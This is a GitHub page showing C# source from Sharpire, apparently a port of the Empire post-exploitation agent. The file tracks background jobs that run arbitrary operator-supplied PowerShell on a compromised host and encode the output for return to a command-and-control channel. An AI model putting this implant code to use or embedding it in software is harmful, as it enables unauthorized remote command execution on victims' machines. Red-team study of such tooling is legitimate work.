-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathEmpire.Agent.Jobs.cs
237 lines (221 loc) · 8.66 KB
/
Empire.Agent.Jobs.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using System.Threading;
namespace Sharpire
{
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public class JobTracking
{
public Dictionary<string, Job> jobs;
public Dictionary<string, ushort> jobsId;
public byte[] ImportedScript { get; set; }
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public JobTracking()
{
jobs = new Dictionary<string, Job>();
jobsId = new Dictionary<string, ushort>();
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
internal void CheckAgentJobs(ref byte[] packets, ref Coms coms)
{
lock (jobs)
{
List<string> jobsToRemove = new List<string>();
foreach (KeyValuePair<string, Job> job in jobs)
{
string results = "";
if (job.Value.IsCompleted())
{
try
{
results = job.Value.GetOutput();
job.Value.KillThread();
}
catch (NullReferenceException) { }
jobsToRemove.Add(job.Key);
packets = Misc.combine(packets, coms.EncodePacket(110, results, jobsId[job.Key]));
}
}
jobsToRemove.ForEach(x => jobs.Remove(x));
lock (jobsId)
{
jobsToRemove.ForEach(x => jobsId.Remove(x));
}
}
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
internal byte[] GetAgentJobsOutput(ref Coms coms)
{
byte[] jobResults = new byte[0];
lock (jobs)
{
List<string> jobsToRemove = new List<string>();
foreach (string jobName in jobs.Keys)
{
#if (PRINT)
Console.WriteLine("Job: {0}", jobName);
#endif
string results = "";
if (jobs[jobName].IsCompleted())
{
try
{
results = jobs[jobName].GetOutput();
#if (PRINT)
Console.WriteLine(results);
#endif
jobs[jobName].KillThread();
}
catch (NullReferenceException) { }
jobsToRemove.Add(jobName);
}
else
{
results = jobs[jobName].GetOutput();
}
if (0 < results.Length)
{
jobResults = Misc.combine(jobResults, coms.EncodePacket(110, results, jobsId[jobName]));
}
}
jobsToRemove.ForEach(x => jobs.Remove(x));
lock (jobsId)
{
jobsToRemove.ForEach(x => jobsId.Remove(x));
}
}
return jobResults;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
internal string StartAgentJob(string command, ushort taskId)
{
Random random = new Random();
string characters = "ABCDEFGHKLMNPRSTUVWXYZ123456789";
char[] charactersArray = characters.ToCharArray();
StringBuilder sb = new StringBuilder(8);
for (int i = 0; i < 8; i++)
{
int j = random.Next(charactersArray.Length);
sb.Append(charactersArray[j]);
}
string id = sb.ToString();
lock (jobs)
{
jobs.Add(id, new Job(command));
}
lock (jobsId)
{
jobsId.Add(id, taskId);
}
#if (PRINT)
Console.WriteLine("Starting Job: {0}", id);
#endif
return id;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public class Job
{
private Thread JobThread { get; set; }
private static string output = "";
private static bool isFinished = false;
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public Job(string command)
{
JobThread = new Thread(() => RunPowerShell(command));
JobThread.Start();
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public static void RunPowerShell(string command)
{
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (Pipeline pipeline = runspace.CreatePipeline())
{
pipeline.Commands.AddScript(command);
pipeline.Commands.Add("Out-String");
StringBuilder sb = new StringBuilder();
try
{
Collection<PSObject> results = pipeline.Invoke();
foreach (PSObject obj in results)
{
sb.Append(obj.ToString());
}
}
catch (ParameterBindingException error)
{
sb.Append("[-] ParameterBindingException: " + error.Message);
}
catch (CmdletInvocationException error)
{
sb.Append("[-] CmdletInvocationException: " + error.Message);
}
catch (RuntimeException error)
{
sb.Append("[-] RuntimeException: " + error.Message);
}
finally
{
lock (output)
{
output = sb.ToString();
}
isFinished = true;
}
}
}
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public bool IsCompleted()
{
if (null != JobThread)
{
if (true == isFinished)
{
return true;
#if (Print)
Console.WriteLine("Finished");
#endif
}
return false;
#if (Print)
Console.WriteLine("Running");
#endif
}
else
{
#if (Print)
Console.WriteLine("Finished");
#endif
return true;
}
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public string GetOutput()
{
return output;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
public void KillThread()
{
JobThread.Abort();
}
}
}
}